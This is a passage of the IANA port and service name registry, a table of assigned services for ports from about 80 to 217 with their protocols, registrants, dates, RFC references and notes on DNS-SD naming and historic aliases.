                                                                                                                                                                                                                                                                                  service type "http" can be understood as meaning
                                                                                                                                                                                                                                                                                  "human-readable HTML content served over HTTP". In some cases
                                                                                                                                                                                                                                                                                  other widely-supported content types may also be appropriate,
                                                                                                                                                                                                                                                                                  such as plain text over HTTP, or JPEG image over HTTP.
                                                                                                                                                                                                                                                                                  Content types not intented primarily for viewing by a human
                                                                                                                                                                                                                                                                                  user, or not widely-supported in web browsing clients, should
                                                                                                                                                                                                                                                                                  not be advertised as DNS-SD service type "http", even if they
                                                                                                                                                                                                                                                                                  do happen to be transported over HTTP. Such types should be
                                                                                                                                                                                                                                                                                  advertised as their own logical service type with their own
                                                                                                                                                                                                                                                                                  DNS-SD service type, for example, XUL (XML User Interface
                                                                                                                                                                                                                                                                                  Language) transported over HTTP is advertised explicitly as
                                                                                                                                                                                                                                                                                  DNS-SD service type "xul-http".
                                                                                                                                                                                                                                                                                  This is a duplicate of the "http" service and should not be
                                                                                                                                                                                                                                                                                  used for discovery purposes. u=<username> p=<password>
                                                                                                                                                                                                                                                                                  path=<path to document> (see txtrecords.html#http) Known
                                                                                                                                                                                                                                                                                  Subtypes: _printer NOTE: The meaning of this service type,
                                                                                                                                                                                                                                                                                  though called just "http", actually denotes something more
                                                                                                                                                                                                                                                                                  precise than just "any data transported using HTTP". The
                                                                                                                                                                                                                                                                                  DNS-SD service type "http" should only be used to advertise
                                                                                                                                                                                                                                                                                  content that: * is served over HTTP, * can be displayed by
                                                                                                                                                                                                                                                                                  "typical" web browser client software, and * is intented
                                                                                                                                                                                                                                                                                  primarily to be viewed by a human user. Of course, the
                                                                                                                                                                                                                                                                                  definition of "typical web browser" is subjective, and may
www-http            80         udp    World Wide Web HTTP          [Tim_Berners_Lee]                                     [Tim_Berners_Lee]                                                                                                                                        change over time, but for practical purposes the DNS-SD
                                                                                                                                                                                                                                                                                  service type "http" can be understood as meaning
                                                                                                                                                                                                                                                                                  "human-readable HTML content served over HTTP". In some cases
                                                                                                                                                                                                                                                                                  other widely-supported content types may also be appropriate,
                                                                                                                                                                                                                                                                                  such as plain text over HTTP, or JPEG image over HTTP.
                                                                                                                                                                                                                                                                                  Content types not intented primarily for viewing by a human
                                                                                                                                                                                                                                                                                  user, or not widely-supported in web browsing clients, should
                                                                                                                                                                                                                                                                                  not be advertised as DNS-SD service type "http", even if they
                                                                                                                                                                                                                                                                                  do happen to be transported over HTTP. Such types should be
                                                                                                                                                                                                                                                                                  advertised as their own logical service type with their own
                                                                                                                                                                                                                                                                                  DNS-SD service type, for example, XUL (XML User Interface
                                                                                                                                                                                                                                                                                  Language) transported over HTTP is advertised explicitly as
                                                                                                                                                                                                                                                                                  DNS-SD service type "xul-http".
http                80        sctp    HTTP                         [Randall_Stewart]                                     [Randall_Stewart]                                                                   [RFC4960]                                                            Defined TXT keys: u=<username> p=<password> path=<path to
                                                                                                                                                                                                                                                                                  document>
                    81                Unassigned                                                                                                                                                2007-09-06
xfer                82         tcp    XFER Utility                 [Thomas_M_Smith]                                      [Thomas_M_Smith]
xfer                82         udp    XFER Utility                 [Thomas_M_Smith]                                      [Thomas_M_Smith]
mit-ml-dev          83         tcp    MIT ML Device                [David_Reed]                                          [David_Reed]
mit-ml-dev          83         udp    MIT ML Device                [David_Reed]                                          [David_Reed]
ctf                 84         tcp    Common Trace Facility        [Hugh_Thomas]                                         [Hugh_Thomas]
ctf                 84         udp    Common Trace Facility        [Hugh_Thomas]                                         [Hugh_Thomas]
mit-ml-dev          85         tcp    MIT ML Device                [David_Reed]                                          [David_Reed]
mit-ml-dev          85         udp    MIT ML Device                [David_Reed]                                          [David_Reed]
mfcobol             86         tcp    Micro Focus Cobol            [Simon_Edwards]                                       [Simon_Edwards]
mfcobol             86         udp    Micro Focus Cobol            [Simon_Edwards]                                       [Simon_Edwards]
                    87         tcp    any private terminal link    [Jon_Postel]                                          [Jon_Postel]
                    87         udp    any private terminal link    [Jon_Postel]                                          [Jon_Postel]
kerberos            88         tcp    Kerberos                     [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
kerberos            88         udp    Kerberos                     [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
su-mit-tg           89         tcp    SU/MIT Telnet Gateway        [Mark_Crispin]                                        [Mark_Crispin]
su-mit-tg           89         udp    SU/MIT Telnet Gateway        [Mark_Crispin]                                        [Mark_Crispin]
                                                                                                                                                                                                                                                                     PORT 90 also
dnsix               90         tcp    DNSIX Securit Attribute      [Charles_Watt]                                        [Charles_Watt]                                                                                                                              being used
                                      Token Map                                                                                                                                                                                                                      unofficially
                                                                                                                                                                                                                                                                     by Pointcast
                                                                                                                                                                                                                                                                     PORT 90 also
dnsix               90         udp    DNSIX Securit Attribute      [Charles_Watt]                                        [Charles_Watt]                                                                                                                              being used
                                      Token Map                                                                                                                                                                                                                      unofficially
                                                                                                                                                                                                                                                                     by Pointcast
mit-dov             91         tcp    MIT Dover Spooler            [Eliot_Moss]                                          [Eliot_Moss]
mit-dov             91         udp    MIT Dover Spooler            [Eliot_Moss]                                          [Eliot_Moss]
npp                 92         tcp    Network Printing Protocol    [Louis_Mamakos]                                       [Louis_Mamakos]
npp                 92         udp    Network Printing Protocol    [Louis_Mamakos]                                       [Louis_Mamakos]
dcp                 93         tcp    Device Control Protocol      [Daniel_Tappan]                                       [Daniel_Tappan]
dcp                 93         udp    Device Control Protocol      [Daniel_Tappan]                                       [Daniel_Tappan]
objcall             94         tcp    Tivoli Object Dispatcher     [Tom_Bereiter]                                        [Tom_Bereiter]
objcall             94         udp    Tivoli Object Dispatcher     [Tom_Bereiter]                                        [Tom_Bereiter]
supdup              95         tcp    SUPDUP                       [Mark_Crispin]                                        [Mark_Crispin]
supdup              95         udp    SUPDUP                       [Mark_Crispin]                                        [Mark_Crispin]
dixie               96         tcp    DIXIE Protocol Specification [Tim_Howes]                                           [Tim_Howes]
dixie               96         udp    DIXIE Protocol Specification [Tim_Howes]                                           [Tim_Howes]
swift-rvf           97         tcp    Swift Remote Virtural File   [Maurice_R_Turcotte]                                  [Maurice_R_Turcotte]
                                      Protocol
swift-rvf           97         udp    Swift Remote Virtural File   [Maurice_R_Turcotte]                                  [Maurice_R_Turcotte]
                                      Protocol
tacnews             98         tcp    TAC News                     [Jon_Postel]                                          [Jon_Postel]
tacnews             98         udp    TAC News                     [Jon_Postel]                                          [Jon_Postel]
metagram            99         tcp    Metagram Relay               [Geoff_Goodfellow]                                    [Geoff_Goodfellow]
metagram            99         udp    Metagram Relay               [Geoff_Goodfellow]                                    [Geoff_Goodfellow]
                                                                                                                                                                                                                                                                     Known
                    100               Unassigned                                                                                                                                                2012-03-21                                                           Unauthorized
                                                                                                                                                                                                                                                                     Use on 100
hostname            101        tcp    NIC Host Name Server         [Jon_Postel]                                          [Jon_Postel]
hostname            101        udp    NIC Host Name Server         [Jon_Postel]                                          [Jon_Postel]
iso-tsap            102        tcp    ISO-TSAP Class 0             [Marshall_Rose]                                       [Marshall_Rose]
iso-tsap            102        udp    ISO-TSAP Class 0             [Marshall_Rose]                                       [Marshall_Rose]
gppitnp             103        tcp    Genesis Point-to-Point Trans
                                      Net
gppitnp             103        udp    Genesis Point-to-Point Trans
                                      Net
acr-nema            104        tcp    ACR-NEMA Digital Imag. &     [Patrick_McNamee]                                     [Patrick_McNamee]
                                      Comm. 300
acr-nema            104        udp    ACR-NEMA Digital Imag. &     [Patrick_McNamee]                                     [Patrick_McNamee]
                                      Comm. 300
cso                 105        tcp    CCSO name server protocol    [Martin_Hamilton]                                     [Martin_Hamilton]
cso                 105        udp    CCSO name server protocol    [Martin_Hamilton]                                     [Martin_Hamilton]
csnet-ns            105        tcp    Mailbox Name Nameserver      [Marvin_Solomon]                                      [Marvin_Solomon]
csnet-ns            105        udp    Mailbox Name Nameserver      [Marvin_Solomon]                                      [Marvin_Solomon]
                                                                                                                                                                                                                                                                     Known
3com-tsmux          106        tcp    3COM-TSMUX                   [Jeremy_Siegel]                                       [Jeremy_Siegel]                                                                                                                             Unauthorized
                                                                                                                                                                                                                                                                     Use on 106
                                                                                                                                                                                                                                                                     Known
3com-tsmux          106        udp    3COM-TSMUX                   [Jeremy_Siegel]                                       [Jeremy_Siegel]                                                                                                                             Unauthorized
                                                                                                                                                                                                                                                                     Use on 106
rtelnet             107        tcp    Remote Telnet Service        [Jon_Postel]                                          [Jon_Postel]
rtelnet             107        udp    Remote Telnet Service        [Jon_Postel]                                          [Jon_Postel]
snagas              108        tcp    SNA Gateway Access Server    [Kevin_Murphy]                                        [Kevin_Murphy]
snagas              108        udp    SNA Gateway Access Server    [Kevin_Murphy]                                        [Kevin_Murphy]
pop2                109        tcp    Post Office Protocol -       [Joyce_K_Reynolds]                                    [Joyce_K_Reynolds]
                                      Version 2
pop2                109        udp    Post Office Protocol -       [Joyce_K_Reynolds]                                    [Joyce_K_Reynolds]
                                      Version 2
pop3                110        tcp    Post Office Protocol -       [Marshall_Rose]                                       [Marshall_Rose]
                                      Version 3
pop3                110        udp    Post Office Protocol -       [Marshall_Rose]                                       [Marshall_Rose]
                                      Version 3
sunrpc              111        tcp    SUN Remote Procedure Call    [Chuck_McManis]                                       [Chuck_McManis]
sunrpc              111        udp    SUN Remote Procedure Call    [Chuck_McManis]                                       [Chuck_McManis]
mcidas              112        tcp    McIDAS Data Transmission     [Glenn_Davis]                                         [Glenn_Davis]
                                      Protocol
mcidas              112        udp    McIDAS Data Transmission     [Glenn_Davis]                                         [Glenn_Davis]
                                      Protocol
ident               113        tcp
auth                113        tcp    Authentication Service       [Mike_St_Johns]                                       [Mike_St_Johns]
auth                113        udp    Authentication Service       [Mike_St_Johns]                                       [Mike_St_Johns]
                    114               unassigned                                                                                                                                                                                                                                  Deprecated June 2004
sftp                115        tcp    Simple File Transfer         [Mark_Lottor]                                         [Mark_Lottor]
                                      Protocol
sftp                115        udp    Simple File Transfer         [Mark_Lottor]                                         [Mark_Lottor]
                                      Protocol
ansanotify          116        tcp    ANSA REX Notify              [Nicola_J_Howarth]                                    [Nicola_J_Howarth]
ansanotify          116        udp    ANSA REX Notify              [Nicola_J_Howarth]                                    [Nicola_J_Howarth]
uucp-path           117        tcp    UUCP Path Service
uucp-path           117        udp    UUCP Path Service
sqlserv             118        tcp    SQL Services                 [Larry_Barnes]                                        [Larry_Barnes]
sqlserv             118        udp    SQL Services                 [Larry_Barnes]                                        [Larry_Barnes]
nntp                119        tcp    Network News Transfer        [IESG]                                                [IETF_Chair]                                                           2018-07-06   [RFC3977]
                                      Protocol
nntp                119        udp    Network News Transfer        [IESG]                                                [IETF_Chair]                                                           2018-07-06   [RFC3977]
                                      Protocol
cfdptkt             120        tcp    CFDPTKT                      [John_Ioannidis]                                      [John_Ioannidis]
cfdptkt             120        udp    CFDPTKT                      [John_Ioannidis]                                      [John_Ioannidis]
erpc                121        tcp    Encore Expedited Remote      [Jack_ONeil]                                          [Jack_ONeil]
                                      Pro.Call
erpc                121        udp    Encore Expedited Remote      [Jack_ONeil]                                          [Jack_ONeil]
                                      Pro.Call
smakynet            122        tcp    SMAKYNET                     [Pierre_Arnaud]                                       [Pierre_Arnaud]
smakynet            122        udp    SMAKYNET                     [Pierre_Arnaud]                                       [Pierre_Arnaud]
ntp                 123        tcp    Network Time Protocol        [Dave_Mills]                                          [Dave_Mills]                                                                        [RFC5905]
ntp                 123        udp    Network Time Protocol        [Dave_Mills]                                          [Dave_Mills]                                                                        [RFC5905]
ansatrader          124        tcp    ANSA REX Trader              [Nicola_J_Howarth]                                    [Nicola_J_Howarth]
ansatrader          124        udp    ANSA REX Trader              [Nicola_J_Howarth]                                    [Nicola_J_Howarth]
locus-map           125        tcp    Locus PC-Interface Net Map   [Eric_Peterson]                                       [Eric_Peterson]
                                      Ser
locus-map           125        udp    Locus PC-Interface Net Map   [Eric_Peterson]                                       [Eric_Peterson]
                                      Ser
                                                                                                                                                                                                                                                                                  Port 126 Previously assigned to application below unitary
nxedit              126        tcp    NXEdit                       [Don_Payette]                                         [Don_Payette]                                                                                                                                            126/tcp Unisys Unitary Login unitary 126/udp Unisys Unitary
                                                                                                                                                                                                                                                                                  Login <feil&kronos.nisd.cam.unisys.com> Port 126 Previously
                                                                                                                                                                                                                                                                                  assigned to application above
                                                                                                                                                                                                                                                                                  Port 126 Previously assigned to application below unitary
nxedit              126        udp    NXEdit                       [Don_Payette]                                         [Don_Payette]                                                                                                                                            126/tcp Unisys Unitary Login unitary 126/udp Unisys Unitary
                                                                                                                                                                                                                                                                                  Login <feil&kronos.nisd.cam.unisys.com> Port 126 Previously
                                                                                                                                                                                                                                                                                  assigned to application above
locus-con           127        tcp    Locus PC-Interface Conn      [Eric_Peterson]                                       [Eric_Peterson]
                                      Server
locus-con           127        udp    Locus PC-Interface Conn      [Eric_Peterson]                                       [Eric_Peterson]
                                      Server
gss-xlicen          128        tcp    GSS X License Verification   [John_Light]                                          [John_Light]
gss-xlicen          128        udp    GSS X License Verification   [John_Light]                                          [John_Light]
pwdgen              129        tcp    Password Generator Protocol  [Frank_J_Wacho]                                       [Frank_J_Wacho]
pwdgen              129        udp    Password Generator Protocol  [Frank_J_Wacho]                                       [Frank_J_Wacho]
cisco-fna           130        tcp    cisco FNATIVE
cisco-fna           130        udp    cisco FNATIVE
cisco-tna           131        tcp    cisco TNATIVE
cisco-tna           131        udp    cisco TNATIVE
cisco-sys           132        tcp    cisco SYSMAINT
cisco-sys           132        udp    cisco SYSMAINT
statsrv             133        tcp    Statistics Service           [Dave_Mills_2]                                        [Dave_Mills_2]
statsrv             133        udp    Statistics Service           [Dave_Mills_2]                                        [Dave_Mills_2]
ingres-net          134        tcp    INGRES-NET Service           [Mike_Berrow]                                         [Mike_Berrow]
ingres-net          134        udp    INGRES-NET Service           [Mike_Berrow]                                         [Mike_Berrow]
epmap               135        tcp    DCE endpoint resolution      [Joe_Pato]                                            [Joe_Pato]
epmap               135        udp    DCE endpoint resolution      [Joe_Pato]                                            [Joe_Pato]
profile             136        tcp    PROFILE Naming System        [Larry_Peterson]                                      [Larry_Peterson]
profile             136        udp    PROFILE Naming System        [Larry_Peterson]                                      [Larry_Peterson]
netbios-ns          137        tcp    NETBIOS Name Service
netbios-ns          137        udp    NETBIOS Name Service
netbios-dgm         138        tcp    NETBIOS Datagram Service
netbios-dgm         138        udp    NETBIOS Datagram Service
netbios-ssn         139        tcp    NETBIOS Session Service      [Jon_Postel]                                          [Jon_Postel]
netbios-ssn         139        udp    NETBIOS Session Service      [Jon_Postel]                                          [Jon_Postel]
emfis-data          140        tcp    EMFIS Data Service
emfis-data          140        udp    EMFIS Data Service
emfis-cntl          141        tcp    EMFIS Control Service        [Gerd_Beling]                                         [Gerd_Beling]
emfis-cntl          141        udp    EMFIS Control Service        [Gerd_Beling]                                         [Gerd_Beling]
bl-idm              142        tcp    Britton-Lee IDM              [Susie_Snitzer]                                       [Susie_Snitzer]
bl-idm              142        udp    Britton-Lee IDM              [Susie_Snitzer]                                       [Susie_Snitzer]
imap                143        tcp    Internet Message Access      [IESG]                                                [IETF_Chair]                                                           2017-06-05   [RFC3501]
                                      Protocol
imap                143        udp    Internet Message Access      [IESG]                                                [IETF_Chair]                                                           2017-06-05   [RFC3501]
                                      Protocol
uma                 144        tcp    Universal Management         [Jay_Whitney]                                         [Jay_Whitney]
                                      Architecture
uma                 144        udp    Universal Management         [Jay_Whitney]                                         [Jay_Whitney]
                                      Architecture
uaac                145        tcp    UAAC Protocol                [David_A_Gomberg]                                     [David_A_Gomberg]
uaac                145        udp    UAAC Protocol                [David_A_Gomberg]                                     [David_A_Gomberg]
iso-tp0             146        tcp    ISO-IP0
iso-tp0             146        udp    ISO-IP0
iso-ip              147        tcp    ISO-IP                       [Marshall_Rose]                                       [Marshall_Rose]
iso-ip              147        udp    ISO-IP                       [Marshall_Rose]                                       [Marshall_Rose]
jargon              148        tcp    Jargon                       [Bill_Weinman]                                        [Bill_Weinman]
jargon              148        udp    Jargon                       [Bill_Weinman]                                        [Bill_Weinman]
aed-512             149        tcp    AED 512 Emulation Service    [Albert_G_Broscius]                                   [Albert_G_Broscius]
aed-512             149        udp    AED 512 Emulation Service    [Albert_G_Broscius]                                   [Albert_G_Broscius]
sql-net             150        tcp    SQL-NET                      [Martin_Picard]                                       [Martin_Picard]
sql-net             150        udp    SQL-NET                      [Martin_Picard]                                       [Martin_Picard]
hems                151        tcp    HEMS
hems                151        udp    HEMS
bftp                152        tcp    Background File Transfer     [Annette_DeSchon]                                     [Annette_DeSchon]
                                      Program
bftp                152        udp    Background File Transfer     [Annette_DeSchon]                                     [Annette_DeSchon]
                                      Program
sgmp                153        tcp    SGMP                         [Marty_Schoffstahl]                                   [Marty_Schoffstahl]
sgmp                153        udp    SGMP                         [Marty_Schoffstahl]                                   [Marty_Schoffstahl]
netsc-prod          154        tcp    NETSC
netsc-prod          154        udp    NETSC
netsc-dev           155        tcp    NETSC                        [Sergio_Heker]                                        [Sergio_Heker]
netsc-dev           155        udp    NETSC                        [Sergio_Heker]                                        [Sergio_Heker]
sqlsrv              156        tcp    SQL Service                  [Craig_Rogers]                                        [Craig_Rogers]
sqlsrv              156        udp    SQL Service                  [Craig_Rogers]                                        [Craig_Rogers]
knet-cmp            157        tcp    KNET/VM Command/Message      [Gary_S_Malkin]                                       [Gary_S_Malkin]
                                      Protocol
knet-cmp            157        udp    KNET/VM Command/Message      [Gary_S_Malkin]                                       [Gary_S_Malkin]
                                      Protocol
pcmail-srv          158        tcp    PCMail Server                [Mark_L_Lambert]                                      [Mark_L_Lambert]
pcmail-srv          158        udp    PCMail Server                [Mark_L_Lambert]                                      [Mark_L_Lambert]
nss-routing         159        tcp    NSS-Routing                  [Yakov_Rekhter]                                       [Yakov_Rekhter]
nss-routing         159        udp    NSS-Routing                  [Yakov_Rekhter]                                       [Yakov_Rekhter]
sgmp-traps          160        tcp    SGMP-TRAPS                   [Marty_Schoffstahl]                                   [Marty_Schoffstahl]
sgmp-traps          160        udp    SGMP-TRAPS                   [Marty_Schoffstahl]                                   [Marty_Schoffstahl]
snmp                161        tcp    SNMP
snmp                161        udp    SNMP
snmptrap            162        tcp    SNMPTRAP                     [Marshall_Rose]                                       [Marshall_Rose]
snmptrap            162        udp    SNMPTRAP                     [Marshall_Rose]                                       [Marshall_Rose]
cmip-man            163        tcp    CMIP/TCP Manager
cmip-man            163        udp    CMIP/TCP Manager
cmip-agent          164        tcp    CMIP/TCP Agent               [Amatzia_Ben_Artzi]                                   [Amatzia_Ben_Artzi]
cmip-agent          164        udp    CMIP/TCP Agent               [Amatzia_Ben_Artzi]                                   [Amatzia_Ben_Artzi]
xns-courier         165        tcp    Xerox                        [Susie_Armstrong_2]                                   [Susie_Armstrong_2]
xns-courier         165        udp    Xerox                        [Susie_Armstrong_2]                                   [Susie_Armstrong_2]
s-net               166        tcp    Sirius Systems               [Brian_Lloyd]                                         [Brian_Lloyd]
s-net               166        udp    Sirius Systems               [Brian_Lloyd]                                         [Brian_Lloyd]
namp                167        tcp    NAMP                         [Marty_Schoffstahl]                                   [Marty_Schoffstahl]
namp                167        udp    NAMP                         [Marty_Schoffstahl]                                   [Marty_Schoffstahl]
rsvd                168        tcp    RSVD                         [Alan_Sandell]                                        [Alan_Sandell]                                                         2008-05-01
rsvd                168        udp    RSVD                         [Alan_Sandell]                                        [Alan_Sandell]                                                         2008-05-01
send                169        tcp    SEND                         [William_Oldwin]                                      [William_Oldwin]                                                       2013-06-17
send                169        udp    SEND                         [William_Oldwin]                                      [William_Oldwin]                                                       2013-06-17
print-srv           170        tcp    Network PostScript           [Brian_Reid]                                          [Brian_Reid]
print-srv           170        udp    Network PostScript           [Brian_Reid]                                          [Brian_Reid]
multiplex           171        tcp    Network Innovations
                                      Multiplex
multiplex           171        udp    Network Innovations
                                      Multiplex
                                      Network Innovations CL/1

cl-1                172        tcp    IANA assigned this           [Kevin_DeVault]                                       [Kevin_DeVault]
                                      well-formed service name as
                                      a replacement for "cl/1".
                                                                                                                                                                                                                                                                                  This entry is an alias to "cl-1". This entry is now historic,
cl/1                172        tcp    Network Innovations CL/1     [Kevin_DeVault]                                       [Kevin_DeVault]                                                                                                                                          not usable for use with many common service discovery
                                                                                                                                                                                                                                                                                  mechanisms.
                                      Network Innovations CL/1

cl-1                172        udp    IANA assigned this           [Kevin_DeVault]                                       [Kevin_DeVault]
                                      well-formed service name as
                                      a replacement for "cl/1".
                                                                                                                                                                                                                                                                                  This entry is an alias to "cl-1". This entry is now historic,
cl/1                172        udp    Network Innovations CL/1     [Kevin_DeVault]                                       [Kevin_DeVault]                                                                                                                                          not usable for use with many common service discovery
                                                                                                                                                                                                                                                                                  mechanisms.
xyplex-mux          173        tcp    Xyplex                       [Bob_Stewart]                                         [Bob_Stewart]
xyplex-mux          173        udp    Xyplex                       [Bob_Stewart]                                         [Bob_Stewart]
mailq               174        tcp    MAILQ                        [Rayan_Zachariassen]                                  [Rayan_Zachariassen]
mailq               174        udp    MAILQ                        [Rayan_Zachariassen]                                  [Rayan_Zachariassen]
vmnet               175        tcp    VMNET                        [Christopher_Tengi]                                   [Christopher_Tengi]
vmnet               175        udp    VMNET                        [Christopher_Tengi]                                   [Christopher_Tengi]
genrad-mux          176        tcp    GENRAD-MUX                   [Ron_Thornton]                                        [Ron_Thornton]
genrad-mux          176        udp    GENRAD-MUX                   [Ron_Thornton]                                        [Ron_Thornton]
xdmcp               177        tcp    X Display Manager Control    [Robert_W_Scheifler]                                  [Robert_W_Scheifler]
                                      Protocol
xdmcp               177        udp    X Display Manager Control    [Robert_W_Scheifler]                                  [Robert_W_Scheifler]
                                      Protocol
nextstep            178        tcp    NextStep Window Server       [Leo_Hourvitz]                                        [Leo_Hourvitz]
nextstep            178        udp    NextStep Window Server       [Leo_Hourvitz]                                        [Leo_Hourvitz]
bgp                 179        tcp    Border Gateway Protocol      [Kirk_Lougheed]                                       [Kirk_Lougheed]
bgp                 179        udp    Border Gateway Protocol      [Kirk_Lougheed]                                       [Kirk_Lougheed]
bgp                 179       sctp    BGP                          [Randall_Stewart]                                     [Randall_Stewart]                                                                   [RFC4960]
ris                 180        tcp    Intergraph                   [Dave_Buehmann]                                       [Dave_Buehmann]
ris                 180        udp    Intergraph                   [Dave_Buehmann]                                       [Dave_Buehmann]
unify               181        tcp    Unify                        [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
unify               181        udp    Unify                        [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
audit               182        tcp    Unisys Audit SITP            [Gil_Greenbaum]                                       [Gil_Greenbaum]
audit               182        udp    Unisys Audit SITP            [Gil_Greenbaum]                                       [Gil_Greenbaum]
ocbinder            183        tcp    OCBinder
ocbinder            183        udp    OCBinder
ocserver            184        tcp    OCServer                     [Jerrilynn_Okamura]                                   [Jerrilynn_Okamura]
ocserver            184        udp    OCServer                     [Jerrilynn_Okamura]                                   [Jerrilynn_Okamura]
remote-kis          185        tcp    Remote-KIS
remote-kis          185        udp    Remote-KIS
kis                 186        tcp    KIS Protocol                 [Ralph_Droms]                                         [Ralph_Droms]
kis                 186        udp    KIS Protocol                 [Ralph_Droms]                                         [Ralph_Droms]
aci                 187        tcp    Application Communication    [Rick_Carlos]                                         [Rick_Carlos]
                                      Interface
aci                 187        udp    Application Communication    [Rick_Carlos]                                         [Rick_Carlos]
                                      Interface
mumps               188        tcp    Plus Five's MUMPS            [Hokey_Stenn]                                         [Hokey_Stenn]
mumps               188        udp    Plus Five's MUMPS            [Hokey_Stenn]                                         [Hokey_Stenn]
qft                 189        tcp    Queued File Transport        [Wayne_Schroeder]                                     [Wayne_Schroeder]
qft                 189        udp    Queued File Transport        [Wayne_Schroeder]                                     [Wayne_Schroeder]
gacp                190        tcp    Gateway Access Control       [C_Philip_Wood]                                       [C_Philip_Wood]
                                      Protocol
gacp                190        udp    Gateway Access Control       [C_Philip_Wood]                                       [C_Philip_Wood]
                                      Protocol
prospero            191        tcp    Prospero Directory Service   [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
prospero            191        udp    Prospero Directory Service   [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
osu-nms             192        tcp    OSU Network Monitoring       [Doug_Karl]                                           [Doug_Karl]
                                      System
osu-nms             192        udp    OSU Network Monitoring       [Doug_Karl]                                           [Doug_Karl]
                                      System
srmp                193        tcp    Spider Remote Monitoring     [Ted_J_Socolofsky]                                    [Ted_J_Socolofsky]
                                      Protocol
srmp                193        udp    Spider Remote Monitoring     [Ted_J_Socolofsky]                                    [Ted_J_Socolofsky]
                                      Protocol
irc                 194        tcp    Internet Relay Chat Protocol [Jarkko_Oikarinen]                                    [Jarkko_Oikarinen]
irc                 194        udp    Internet Relay Chat Protocol [Jarkko_Oikarinen]                                    [Jarkko_Oikarinen]
dn6-nlm-aud         195        tcp    DNSIX Network Level Module
                                      Audit
dn6-nlm-aud         195        udp    DNSIX Network Level Module
                                      Audit
dn6-smm-red         196        tcp    DNSIX Session Mgt Module     [Lawrence_Lebahn]                                     [Lawrence_Lebahn]
                                      Audit Redir
dn6-smm-red         196        udp    DNSIX Session Mgt Module     [Lawrence_Lebahn]                                     [Lawrence_Lebahn]
                                      Audit Redir
dls                 197        tcp    Directory Location Service
dls                 197        udp    Directory Location Service
dls-mon             198        tcp    Directory Location Service   [Scott_Bellew]                                        [Scott_Bellew]
                                      Monitor
dls-mon             198        udp    Directory Location Service   [Scott_Bellew]                                        [Scott_Bellew]
                                      Monitor
smux                199        tcp    SMUX                         [Marshall_Rose]                                       [Marshall_Rose]
smux                199        udp    SMUX                         [Marshall_Rose]                                       [Marshall_Rose]
src                 200        tcp    IBM System Resource          [Gerald_McBrearty]                                    [Gerald_McBrearty]
                                      Controller
src                 200        udp    IBM System Resource          [Gerald_McBrearty]                                    [Gerald_McBrearty]
                                      Controller
at-rtmp             201        tcp    AppleTalk Routing
                                      Maintenance
at-rtmp             201        udp    AppleTalk Routing
                                      Maintenance
at-nbp              202        tcp    AppleTalk Name Binding
at-nbp              202        udp    AppleTalk Name Binding
at-3                203        tcp    AppleTalk Unused
at-3                203        udp    AppleTalk Unused
at-echo             204        tcp    AppleTalk Echo
at-echo             204        udp    AppleTalk Echo
at-5                205        tcp    AppleTalk Unused
at-5                205        udp    AppleTalk Unused
at-zis              206        tcp    AppleTalk Zone Information
at-zis              206        udp    AppleTalk Zone Information
at-7                207        tcp    AppleTalk Unused
at-7                207        udp    AppleTalk Unused
at-8                208        tcp    AppleTalk Unused             [Rob_Chandhok]                                        [Rob_Chandhok]
at-8                208        udp    AppleTalk Unused             [Rob_Chandhok]                                        [Rob_Chandhok]
qmtp                209        tcp    The Quick Mail Transfer      [D_J_Bernstein]                                       [D_J_Bernstein]                                                        2018-04-05
                                      Protocol
qmtp                209        udp    The Quick Mail Transfer      [D_J_Bernstein]                                       [D_J_Bernstein]                                                        2018-04-05
                                      Protocol
                                      ANSI Z39.50

z39-50              210        tcp    IANA assigned this           [Mark_H_Needleman]                                    [Mark_H_Needleman]
                                      well-formed service name as
                                      a replacement for "z39.50".
                                                                                                                                                                                                                                                                                  This entry is an alias to "z39-50". This entry is now
z39.50              210        tcp    ANSI Z39.50                  [Mark_H_Needleman]                                    [Mark_H_Needleman]                                                                                                                                       historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      ANSI Z39.50

z39-50              210        udp    IANA assigned this           [Mark_H_Needleman]                                    [Mark_H_Needleman]
                                      well-formed service name as
                                      a replacement for "z39.50".
                                                                                                                                                                                                                                                                                  This entry is an alias to "z39-50". This entry is now
z39.50              210        udp    ANSI Z39.50                  [Mark_H_Needleman]                                    [Mark_H_Needleman]                                                                                                                                       historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Texas Instruments 914C/G
                                      Terminal
914c-g              211        tcp                                 [Bill_Harrell]                                        [Bill_Harrell]
                                      IANA assigned this
                                      well-formed service name as
                                      a replacement for "914c/g".
                                      Texas Instruments 914C/G                                                                                                                                                                                                                    This entry is an alias to "914c-g". This entry is now
914c/g              211        tcp    Terminal                     [Bill_Harrell]                                        [Bill_Harrell]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Texas Instruments 914C/G
                                      Terminal
914c-g              211        udp                                 [Bill_Harrell]                                        [Bill_Harrell]
                                      IANA assigned this
                                      well-formed service name as
                                      a replacement for "914c/g".
                                      Texas Instruments 914C/G                                                                                                                                                                                                                    This entry is an alias to "914c-g". This entry is now
914c/g              211        udp    Terminal                     [Bill_Harrell]                                        [Bill_Harrell]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
anet                212        tcp    ATEXSSTR                     [Jim_Taylor]                                          [Jim_Taylor]
anet                212        udp    ATEXSSTR                     [Jim_Taylor]                                          [Jim_Taylor]
ipx                 213        tcp    IPX                          [Don_Provan]                                          [Don_Provan]
ipx                 213        udp    IPX                          [Don_Provan]                                          [Don_Provan]
vmpwscs             214        tcp    VM PWSCS                     [Dan_Shia]                                            [Dan_Shia]
vmpwscs             214        udp    VM PWSCS                     [Dan_Shia]                                            [Dan_Shia]
softpc              215        tcp    Insignia Solutions           [Martyn_Thomas]                                       [Martyn_Thomas]
softpc              215        udp    Insignia Solutions           [Martyn_Thomas]                                       [Martyn_Thomas]
CAIlic              216        tcp    Computer Associates Int'l    [Chuck_Spitz]                                         [Chuck_Spitz]
                                      License Server
CAIlic              216        udp    Computer Associates Int'l    [Chuck_Spitz]                                         [Chuck_Spitz]
                                      License Server
dbase               217        tcp    dBASE Unix                   [Don_Gibson]                                          [Don_Gibson]
dbase               217        udp    dBASE Unix                   [Don_Gibson]                                          [Don_Gibson]
